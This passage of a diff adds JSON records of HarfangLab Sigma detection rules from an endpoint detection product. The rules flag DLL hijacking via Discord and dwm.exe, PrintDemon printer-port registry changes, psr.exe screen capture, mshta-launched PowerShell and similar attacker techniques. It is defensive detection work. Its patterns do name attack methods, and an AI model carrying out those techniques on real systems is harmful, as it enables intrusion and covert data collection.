selection_feature_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b5d9a8b3-cbd7-4488-8875-db3142c7cadc",
+  "rule_name": "Dangerous MSSQL Functionality Enabled",
+  "rule_description": "Detects the activation of dangerous MSSQL functionalities or deactivation of security features that could lead to code execution.\nAttackers may enable functionalities or disable security features in order to gain code execution on a machine hosting a compromised database engine.\nIt is recommended to check if this behavior is expected and check for malicious activities stemming from the associated sqlservr.exe process.\n",
+  "rule_creation_date": "2024-02-05",
+  "rule_modified_date": "2025-07-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.003",
+    "attack.t1190",
+    "attack.t1505.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b607e37d-aaf6-49a2-8a8c-e021f3ccfd3f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611363Z",
+  "creation_date": "2026-03-23T11:45:34.611366Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611374Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Psr/",
+    "https://attack.mitre.org/techniques/T1113/"
+  ],
+  "name": "t1113_suspicious_process_psr.yml",
+  "content": "title: Execution of psr.exe\nid: b607e37d-aaf6-49a2-8a8c-e021f3ccfd3f\ndescription: |\n    Detects the execution of the legitimate psr.exe Windows binary, which is a built-in tool for capturing system resource usage and screen captures.\n    Attackers can abuse this tool to perform unauthorized screen captures, potentially gathering sensitive information about the victim's desktop.\n    A suspicious usage example includes recording a user's screen without creating a graphical user interface (GUI).\n    It is recommended to investigate such executions, review the permissions of the user account executing psr.exe, and ensure that screen capture activities are legitimate.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Psr/\n    - https://attack.mitre.org/techniques/T1113/\ndate: 2022/04/11\nmodified: 2025/04/16\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1113\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Psr\n    - classification.Windows.Behavior.SensitiveInformation\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - Image|endswith: '\\psr.exe'\n        - OriginalFileName: 'psr.exe'\n    selection_commandline:\n        CommandLine|contains: '/start'\n\n    # https://learn.microsoft.com/en-us/troubleshoot/windows-client/networking/data-collection-for-troubleshooting-802-1x-authentication-issues\n    exclusion_troubleshooting:\n        CommandLine:\n            - 'psr /start /output ?:\\MSLOG\\\\*_psr.zip /maxsc 100'\n            - '?:\\windows\\system32\\psr.exe /start /output ?:\\MSLOG\\\\*_psr.zip /maxsc 100'\n\n    # https://learn.microsoft.com/en-us/microsoft-365/troubleshoot/diagnostic-logs/use-msoaid-for-authentication-issues\n    exclusion_msoaid_parent:\n        ProcessParentOriginalFileName: 'MSOAID-Win.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature:\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n    exclusion_msoaid_grandparent:\n        ProcessGrandparentOriginalFileName: 'MSOAID-Win.exe'\n        ProcessGrandparentSigned: 'true'\n        ProcessGrandparentSignature:\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\n#level: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b607e37d-aaf6-49a2-8a8c-e021f3ccfd3f",
+  "rule_name": "Execution of psr.exe",
+  "rule_description": "Detects the execution of the legitimate psr.exe Windows binary, which is a built-in tool for capturing system resource usage and screen captures.\nAttackers can abuse this tool to perform unauthorized screen captures, potentially gathering sensitive information about the victim's desktop.\nA suspicious usage example includes recording a user's screen without creating a graphical user interface (GUI).\nIt is recommended to investigate such executions, review the permissions of the user account executing psr.exe, and ensure that screen capture activities are legitimate.\n",
+  "rule_creation_date": "2022-04-11",
+  "rule_modified_date": "2025-04-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1113"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b60df06d-a3a6-4d8c-aa52-2fa9cb0aa028",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593280Z",
+  "creation_date": "2026-03-23T11:45:34.593283Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.593291Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://infosecwriteups.com/dll-hijacking-persistence-using-discord-80691a63c559",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_phantom_dll_hijacking_discord.yml",
+  "content": "title: Phantom DLL Hijacking via Discord\nid: b60df06d-a3a6-4d8c-aa52-2fa9cb0aa028\ndescription: |\n    Detects a potential Windows DLL search order hijacking via discord.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://infosecwriteups.com/dll-hijacking-persistence-using-discord-80691a63c559\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/11/22\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'discord.exe'\n        ImageLoaded|endswith: '\\Discord\\app-?.?.????\\d3d12.dll'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Discord Inc.'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b60df06d-a3a6-4d8c-aa52-2fa9cb0aa028",
+  "rule_name": "Phantom DLL Hijacking via Discord",
+  "rule_description": "Detects a potential Windows DLL search order hijacking via discord.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-11-22",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b64483ff-8815-49ef-be8a-4621359d1de2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296583Z",
+  "creation_date": "2026-03-23T11:45:35.296585Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296590Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.elastic.co/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket",
+    "https://attack.mitre.org/techniques/T1204/002/"
+  ],
+  "name": "t1204_002_file_create_osascript.yml",
+  "content": "title: File Created by a Process Launched by Osascript\nid: b64483ff-8815-49ef-be8a-4621359d1de2\ndescription: |\n    Detects a file creation by a process whose ancestors include Osascript.\n    Adversaries may use Osascript to drop malicious files.\n    It it recommended to check the maliciousness of the created file and other actions made by the Osascript process.\nreferences:\n    - https://www.elastic.co/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket\n    - https://attack.mitre.org/techniques/T1204/002/\ndate: 2024/06/18\nmodified: 2026/02/23\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.LOLBin.osascript\nlogsource:\n    product: macos\n    category: filesystem_event\ndetection:\n    selection:\n        Kind: 'create'\n        ProcessAncestors|contains: '/usr/bin/osascript'\n\n    exclusion_docker:\n        - ProcessImage: '/Applications/Docker.app/Contents/MacOS/com.docker.backend run'\n        - ProcessCommandLine: 'sh -c echo * > /tmp/docker-desktop-privileged*/exitcode.txt'\n\n    exclusion_football_league:\n        Path|contains: '/FootballLeagueApp/'\n        ProcessImage: '/bin/pax'\n        ProcessGrandparentCommandLine|startswith: 'osascript -l JavaScript - wid:'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b64483ff-8815-49ef-be8a-4621359d1de2",
+  "rule_name": "File Created by a Process Launched by Osascript",
+  "rule_description": "Detects a file creation by a process whose ancestors include Osascript.\nAdversaries may use Osascript to drop malicious files.\nIt it recommended to check the maliciousness of the created file and other actions made by the Osascript process.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2026-02-23",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b65427c9-a48f-4b0c-9565-50145be9c5fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611266Z",
+  "creation_date": "2026-03-23T11:45:34.611269Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611277Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://windows-internals.com/printdemon-cve-2020-1048/",
+    "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1337",
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1112_malicious_printer_port.yml",
+  "content": "title: Malicious Printer Port Installed\nid: b65427c9-a48f-4b0c-9565-50145be9c5fb\ndescription: |\n    Detects a registry modification to the \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Ports\\\" key, indicanting that a potentially malicious printer port was added.\n    This could be the sign of CVE-2020-1048 or CVE-2020-1337 exploitation (aka PrintDemon).\n    PrintDemon is a security flaw related to the Windows Print Spooler service wich exploits the way Windows handles print jobs through the spooler service, which runs with SYSTEM privileges.\n    It is recommended to investigate the registry modification to determine its legitimacy.\nreferences:\n    - https://windows-internals.com/printdemon-cve-2020-1048/\n    - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1337\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2020/09/24\nmodified: 2025/03/18\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - attack.defense_evasion\n    - attack.t1112\n    - cve.2020-1048\n    - cve.2020-1337\n    - classification.Windows.Source.Registry\n    - classification.Windows.Exploit.PrintDemon\n    - classification.Windows.Exploit.CVE-2020-1048\n    - classification.Windows.Exploit.CVE-2020-1337\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_event:\n        EventType:\n            - 'SetValue'\n            - 'DeleteValue' # want to catch the process removing the EoP\n        TargetObject|startswith: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Ports\\'\n\n    selection_file:\n        TargetObject|endswith:\n            - '.dll'\n            - '.exe'\n            - '.sys'\n            - '.ps1'\n            - '.vbs'\n            - '.bat'\n            - '.com'\n\n    condition: all of selection_*\nlevel: high\n# level: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b65427c9-a48f-4b0c-9565-50145be9c5fb",
+  "rule_name": "Malicious Printer Port Installed",
+  "rule_description": "Detects a registry modification to the \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Ports\\\" key, indicanting that a potentially malicious printer port was added.\nThis could be the sign of CVE-2020-1048 or CVE-2020-1337 exploitation (aka PrintDemon).\nPrintDemon is a security flaw related to the Windows Print Spooler service wich exploits the way Windows handles print jobs through the spooler service, which runs with SYSTEM privileges.\nIt is recommended to investigate the registry modification to determine its legitimacy.\n",
+  "rule_creation_date": "2020-09-24",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068",
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b6605352-f429-404f-a2c4-e4a55585deb0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083634Z",
+  "creation_date": "2026-03-23T11:45:34.083636Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083640Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.joeware.net/freetools/tools/lg/index.htm",
+    "https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/",
+    "https://attack.mitre.org/techniques/T1069/001/"
+  ],
+  "name": "t1069_001_localgroup_via_lg.yml",
+  "content": "title: Local Group Discovered via LG.exe\nid: b6605352-f429-404f-a2c4-e4a55585deb0\ndescription: |\n    Detects the execution of the LG.exe executable in order to discover local groups.\n    Adversaries may attempt to find local system groups and permission settings.\n    The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\n    It is recommended to investigate the process calling LG.exe to look for malicious content.\nreferences:\n    - https://www.joeware.net/freetools/tools/lg/index.htm\n    - https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/\n    - https://attack.mitre.org/techniques/T1069/001/\ndate: 2023/09/04\nmodified: 2025/01/13\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1069.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'LG.cpp'\n\n    condition: selection\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b6605352-f429-404f-a2c4-e4a55585deb0",
+  "rule_name": "Local Group Discovered via LG.exe",
+  "rule_description": "Detects the execution of the LG.exe executable in order to discover local groups.\nAdversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nIt is recommended to investigate the process calling LG.exe to look for malicious content.\n",
+  "rule_creation_date": "2023-09-04",
+  "rule_modified_date": "2025-01-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1069.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b6be76e7-26f5-4dea-995f-08163fda806c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078675Z",
+  "creation_date": "2026-03-23T11:45:34.078677Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078681Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dwm.yml",
+  "content": "title: DLL Hijacking via dwm.exe\nid: b6be76e7-26f5-4dea-995f-08163fda806c\ndescription: |\n    Detects potential Windows DLL Hijacking via dwm.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dwm.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CoreMessaging.dll'\n            - '\\coreuicomponents.dll'\n            - '\\d2d1.dll'\n            - '\\d3d11.dll'\n            - '\\D3DCOMPILER_47.dll'\n            - '\\dwmcore.dll'\n            - '\\dxgi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b6be76e7-26f5-4dea-995f-08163fda806c",
+  "rule_name": "DLL Hijacking via dwm.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dwm.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b6c4d3fc-ca0b-4f9f-bf52-c889a39fbf40",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080432Z",
+  "creation_date": "2026-03-23T11:45:34.080434Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080438Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Mshta/",
+    "https://medium.com/@djordje.brankovic/inside-a-fake-captcha-phishing-attack-how-attackers-use-mshta-exe-and-powershell-to-deliver-xworm-cc7cdfda95ce",
+    "https://attack.mitre.org/techniques/T1218/005/"
+  ],
+  "name": "t1218_005_mshta_powershell.yml",
+  "content": "title: PowerShell Execution via mshta.exe\nid: b6c4d3fc-ca0b-4f9f-bf52-c889a39fbf40\ndescription: |\n    Detects the execution of PowerShell via mshta.exe.\n    Mshta can be used to proxy the execution of a malicious content through a trusted Windows utility.\n    It is recommended to analyze the content of the file executed by mshta.exe as well as to investigate the command executed by the PowerShell process.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Mshta/\n    - https://medium.com/@djordje.brankovic/inside-a-fake-captcha-phishing-attack-how-attackers-use-mshta-exe-and-powershell-to-deliver-xworm-cc7cdfda95ce\n    - https://attack.mitre.org/techniques/T1218/005/\ndate: 2025/04/25\nmodified: 2025/04/25\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.005\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.LOLBin.Mshta\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\powershell.exe'\n        ParentImage|endswith: '\\mshta.exe'\n        CurrentDirectory|contains:\n          - '?:\\Windows\\Temp\\'\n          - '?:\\windows\\system32\\'\n          - '?:\\Windows\\SysWOW64\\'\n          - '?:\\ProgramData\\'\n          - '?:\\Users\\'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b6c4d3fc-ca0b-4f9f-bf52-c889a39fbf40",
+  "rule_name": "PowerShell Execution via mshta.exe",
+  "rule_description": "Detects the execution of PowerShell via mshta.exe.\nMshta can be used to proxy the execution of a malicious content through a trusted Windows utility.\nIt is recommended to analyze the content of the file executed by mshta.exe as well as to investigate the command executed by the PowerShell process.\n",
+  "rule_creation_date": "2025-04-25",
+  "rule_modified_date": "2025-04-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1218.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b6e34025-c8bb-4d31-b753-65184d578ae6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072865Z",
+  "creation_date": "2026-03-23T11:45:34.072868Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072889Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
